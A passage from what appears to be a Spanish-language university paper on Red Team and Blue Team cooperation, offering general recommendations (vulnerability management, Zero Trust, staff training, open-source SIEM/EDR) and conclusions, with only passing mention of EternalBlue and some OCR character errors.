reales, y actuar con celeridad para minimizar el impacto de un ataque (Peterson, 2020).

La colaboracidn entre estos dos equipos, a menudo vista como un contraste de roles, es en
realidad un pilar fundamental para la madurez de la ciberseguridad organizacional. Los resultados de las
campafias del Red Team proporcionan al Blue Team una vision objetiva de sus puntos débiles desde la
perspectiva de un atacante. Esta informacion es invaluable para que el Blue Team pueda priorizar sus
esfuerzos de mejora, optimizar sus herramientas de monitoreo y deteccién (como los SIEM o EDR) y
refinar sus planes de respuesta a incidentes (Schwartz & Hardy, 2017). Un ejemplo claro de esta
dindmica se observé en los escenarios analizados, donde la identificacién de una vulnerabilidad critica
por parte del Red Team, como la explotacion de EternalBlue, se tradujo en la necesidad imperante para
el Blue Team de implementar medidas de contencién inmediatas y fortalecer la seguridad perimetral y
los sistemas de deteccion. Esta retroalimentacién constante asegura que las defensas no solo sean
reactivas, sino que evolucionen proactivamente para anticipar y neutralizar futuras amenazas. La
capacidad de adaptacion y la mejora continua son elementos intrinsecos a un programa de
ciberseguridad maduro, lo que se logra mediante la interaccidn constante y el intercambio de
conocimientos entre ambos equipos. La correcta implementacidn de estas estrategias permite no solo
reaccionar ante incidentes, sino también construir una infraestructura mas resistente y segura
(Zambrano et al., 2024).

Recomendaciones para el Planteamiento de Estrategias que Permitan Endurecer los Aspectos de
Seguridad en una Organizacion
Para fortalecer la postura de ciberseguridad de una organizacion y maximizar la eficacia de los

equipos Red Team y Blue Team, se proponen una serie de recomendaciones estratégicas. Estas medidas



94

buscan no solo mitigar riesgos conocidos, sino también construir una infraestructura mas resiliente
frente a amenazas emergentes, partiendo de las lecciones aprendidas en los escenarios simulados.

En primer lugar, es crucial establecer un ciclo de retroalimentacién continuo y formalizado entre
el Red Team y el Blue Team. Esto va mas alla de la simple entrega de informes; implica sesiones
periddicas de intercambio de conocimientos, donde los hallazgos del Red Team sean analizados en
detalle por el Blue Team para entender las técnicas, tacticas y procedimientos (TTPs) de los atacantes
simulados. Esta interaccién permite al Blue Team refinar sus capacidades de deteccién, mejorar la
configuracion de sus herramientas de seguridad (como SIEM y EDR) y desarrollar nuevas firmas o reglas
para identificar comportamientos maliciosos (Chism, 2020). La falta de una comunicacion efectiva puede
dejar brechas criticas sin abordar, comprometiendo la efectividad del programa de seguridad (Sanz et
al., 2020).

En segundo lugar, se recomienda la implementacién de un programa de gestién de
vulnerabilidades robusto y proactivo. Las vulnerabilidades identificadas por el Red Team deben ser
priorizadas basandose en su riesgo real para la organizacidn y abordadas de manera sistemdtica. Esto
incluye la aplicacion oportuna de parches, la reconfiguracién de sistemas y la segmentacion de redes
para limitar la propagacion de posibles ataques. La automatizacion de la gestion de parchesy la
realizacion de escaneos de vulnerabilidades periddicos son esenciales para mantener una superficie de
ataque reducida (Garcia et al., 2023). La observancia de marcos de seguridad reconocidos, como los
Puntos de Referencia CIS (Center for Internet Security), puede proporcionar una base sélida para la
configuracion segura de los sistemas y la reduccién de la exposicidén a ataques comunes (CIS Security,
2020).

En tercer lugar, es indispensable invertir en la capacitacidén continua del personal de seguridad y
de todos los empleados. El eslabén humano es frecuentemente el punto mas débil en la cadena de

seguridad. El Blue Team debe recibir formacidn avanzada en analisis forense, respuesta a incidentes y
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uso de herramientas defensivas. Paralelamente, se deben realizar simulaciones de phishing y campanas
de concienciacién para todos los empleados, educdndolos sobre las amenazas comunes y las mejores
practicas de seguridad (Diaz et al., 2022). La educacién y el entrenamiento adecuados son clave para
transformar a los usuarios de vulnerabilidades potenciales en una primera linea de defensa.

Una vez hecha esta precisidn, se sugiere adoptar un enfoque de seguridad por disefio y una
arquitectura de confianza cero (Zero Trust). La seguridad debe integrarse desde las fases iniciales del
desarrollo de sistemas y aplicaciones, en lugar de ser un afiadido posterior. Una arquitectura de
confianza cero, que asume que ninguna entidad (usuario, dispositivo, aplicacién) es confiable por
defecto, requiere verificacion estricta antes de conceder acceso a los recursos. Esto reduce
drdsticamente el riesgo de movimientos laterales de los atacantes, incluso si logran una intrusion inicial.
La implementacidn de principios de minimo privilegio y micro-segmentacidon son componentes criticos
de esta estrategia (Rose, 2020). Estos principios, combinados con la monitorizacion constante y la
autenticacion multifactor, crean un entorno donde las amenazas internas y externas son mas dificiles de
ejecutar y detectar mas rapidamente.

Conclusiones que Permitan la Construccion del Conocimiento desde el Enfoque de la Ciberseguridad

La implementacién de estrategias de Red Team y Blue Team, junto con un analisis exhaustivo de
los escenarios practicos, proporciona una base sélida para la construccidon de conocimiento en el ambito
de la ciberseguridad. Este proceso no solo revela la efectividad de las defensas actuales, sino que
también ilumina el camino para la maduracién de las capacidades organizacionales en la gestién de
riesgos cibernéticos.

Una conclusién fundamental es que la ciberseguridad es un proceso dinamico y continuo, no un
estado estdtico. La constante evolucidn de las amenazas y las TTPs de los atacantes exige una
adaptacidon permanente de las defensas. La realizacidn periddica de ejercicios de Red Team,

complementados con la implementacidn de las recomendaciones del Blue Team, crea un ciclo virtuoso
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de mejora. Se ha demostrado que la omisidn de este enfoque iterativo puede llevar a la obsolescencia
de las medidas de seguridad y a la aparicidn de brechas criticas (Kim & Kang, 2018). Los incidentes, como
el ocurrido con la explotacién de EternalBlue, subrayan la necesidad de una postura proactiva y no solo
reactiva ante las vulnerabilidades.

Se concluye que la colaboracién y la comunicacidn efectiva son pilares para una defensa
cibernética robusta. La tradicional divisién de roles entre atacantes (Red Team) y defensores (Blue
Team) debe trascender hacia una sinergia operativa. Los hallazgos del Red Team son el combustible para
que el Blue Team optimice sus herramientas, procesos y conocimientos. Esta interaccion
interdepartamental fomenta una cultura de seguridad integral, donde cada equipo comprende y valora
la contribucion del otro para el objetivo comun de proteger los activos digitales. Sin un flujo constante
de informacidn y un entendimiento compartido de los riesgos, los esfuerzos de seguridad pueden ser
ineficientes y fragmentados (Martinez & Soto, 2019).

Otro aspecto crucial es la importancia de una gestidn de riesgos basada en la inteligencia de
amenazas. Los ejercicios del Red Team no solo identifican vulnerabilidades técnicas, sino que también
generan inteligencia sobre cdmo los adversarios podrian explotar esas debilidades en un contexto real.
Esta inteligencia debe ser utilizada por el Blue Team para priorizar defensas, asignar recursos de manera
eficiente y anticipar futuros ataques. La comprensién de las motivaciones y capacidades de los atacantes
permite a las organizaciones pasar de una defensa reactiva a una estrategia predictiva y preventiva, lo
gue es esencial para la resiliencia operativa (Threat Intelligence Platform, 2021).

En sintesis, se reafirma que la seguridad cibernética es una responsabilidad compartida que
abarca tanto aspectos técnicos como éticos y legales. Los escenarios analizados no solo destacaron la
necesidad de habilidades técnicas avanzadas, sino también la importancia de operar dentro de un marco
ético y legal riguroso. La capacitacidn del personal en concienciacién sobre seguridad y el estricto

cumplimiento de las politicas internas y la legislacion vigente son tan vitales como la implementacién de



herramientas de seguridad. El conocimiento construido a partir de estas experiencias subraya que una
ciberseguridad efectiva no solo se trata de tecnologia, sino de personas, procesos y una cultura
organizacional sélida que priorice la integridad y la confidencialidad de la informacion (UNAD, 2020).
Link Video Sustentacidn:

https://youtu.be/e33X5psXEJO
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Conclusiones

La interaccion y complementariedad entre los equipos de Red Team y Blue Team se revela como
una estrategia ineludible para el fortalecimiento integral de la ciberseguridad en cualquier organizacién
contemporanea. A través de la emulacion de escenarios realistas, se ha podido evidenciar cémo la
ofensiva controlada por parte del Red Team es crucial para la identificacidn proactiva de
vulnerabilidades que, de otra forma, podrian permanecer ocultas. Esta capacidad de simular ataques
adversarios permite a las organizaciones comprender sus verdaderas debilidades antes de que sean
explotadas por actores maliciosos, transformando el conocimiento tedrico en lecciones practicas y
tangibles.

También es cierto que, la respuesta coordinada y las capacidades de contencién del Blue Team
son fundamentales para asegurar la resiliencia operativa. La experiencia en la gestién de incidentes en
tiempo real, utilizando herramientas de cédigo abierto como se planted en los escenarios, subraya la
importancia de la agilidad y el ingenio en la defensa. Se constata que la efectividad del Blue Team no
solo reside en su habilidad para mitigar un ataque, sino también en su capacidad para aprender de cada
incidente, fortaleciendo continuamente los controles de seguridad y refinando los procedimientos de
respuesta. Este ciclo de mejora continua es indispensable para evolucionar al ritmo de las amenazas
cibernéticas.

Un aspecto critico que ha quedado patente es la interseccion de la ciberseguridad con las
implicaciones éticas y legales. La manipulacién de informacién confidencial, los dilemas morales en la
obtencién de acceso y las responsabilidades derivadas de la proteccién de datos personalesy la
privacidad de los usuarios no son meros apéndices técnicos, sino pilares que deben regir todas las
operaciones de seguridad. Ignorar estos principios no solo conlleva riesgos legales significativos, sino
gue también erosiona la confianza, un activo invaluable para cualquier entidad. Por ello, la capacitacion

continua en marcos éticos y normativos es tan vital como la experticia técnica.
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Todo lo dicho hasta ahora explica por qué, la integracién de las perspectivas ofensiva y
defensiva, junto con un robusto marco ético-legal, dota a los profesionales de ciberseguridad de una
vision holistica. La experiencia practica en la configuracion de entornos de trabajo seguros, la ejecucién
de pruebas de penetracion y la respuesta a incidentes, combinada con un profundo entendimiento de
las responsabilidades asociadas, posiciona al experto como un estratega capaz de disefiar e implementar
soluciones de seguridad que son tanto técnicamente sélidas como éticamente irreprochables y
legalmente conformes. Este aprendizaje integral permite trascender el rol de mero ejecutor, para

convertirse en un verdadero arquitecto de la resiliencia digital.
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Recomendaciones

A partir de los andlisis y las experiencias practicas derivadas de los escenarios de simulacidn, se
proponen las siguientes recomendaciones estratégicas y operativas, orientadas a la alta gerencia de
CyberFort Technologies y otras organizaciones que busquen optimizar su postura de ciberseguridad:

Fomentar la Sinergia y Comunicacion Inter-Equipo: Es imperativo establecer canales de
comunicacion formales y frecuentes entre el Red Team y el Blue Team. La retroalimentacion constante
sobre las vulnerabilidades explotadas (por el Red Team) y las medidas de contencién aplicadas (por el
Blue Team) debe ser un proceso estructurado. Esto permite al Blue Team comprender mejor las tacticas
de los atacantes y al Red Team refinar sus métodos, creando un ciclo de mejora continua en las defensas
(Chindrus & Caruntu, 2023). La realizacién de ejercicios conjuntos (Purple Teaming) deberia ser una
practica habitual.

Inversion Continua en Capacitacion y Certificaciones: La ciberseguridad es un campo en
constante evolucidn. Se recomienda una politica de inversidn activa en la formacidn y certificacion de
los profesionales de ambos equipos. Esto no solo garantiza que el personal esté al dia con las ultimas
herramientas, técnicas y procedimientos (TTPs) de ataque y defensa, sino que también fomenta una
cultura de excelencia y adaptabilidad tecnoldégica (UNAD, 2020). La especializacidon en areas como
analisis forense digital, ingenieria inversa o gestidn de incidentes es crucial.

Implementacion de un Marco de Seguridad Basado en Riesgos: Se sugiere la adopcion de una
metodologia robusta para la gestidn de riesgos cibernéticos, como la propuesta por Alvarez (2018), que
permita identificar, evaluar y priorizar las vulnerabilidades con base en el impacto potencial y la
probabilidad de explotacidn. Esto facilitard la asignacion eficiente de recursos y el desarrollo de
estrategias de hardenizacion mas efectivas (CIS Security, 2020).

Desarrollo de Politicas de Seguridad Eticas y Legales Claras: Es fundamental que la organizacién

cuente con un marco normativo interno que no solo cumpla con la legislacidn vigente en proteccion de
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datos personales (Congreso Colombia, 2012) y delitos informaticos (Policia, 2009), sino que también
establezca cddigos de ética rigurosos para el personal de ciberseguridad (Copnia, 2015). Se deben
realizar auditorias periddicas a estos marcos y capacitar constantemente al personal sobre sus
implicaciones, especialmente en el manejo de informacién confidencial y en situaciones de
ciberespionaje (OAS, 2018).

Optimizacion de Herramientas y Automatizacion de la Deteccidn: Se recomienda la exploracidn
e implementacién de soluciones SIEM y EDR de cédigo abierto, aprovechando su flexibilidad y las
capacidades comunitarias, especialmente si el presupuesto es una limitaciéon (Moreno, 2015). La
automatizacidn de la recoleccidn y correlacion de logs es vital para una deteccidn temprana y una
respuesta agil a incidentes (Kim & Kang, 2018), permitiendo al Blue Team concentrarse en el analisis de

amenazas mas complejas.
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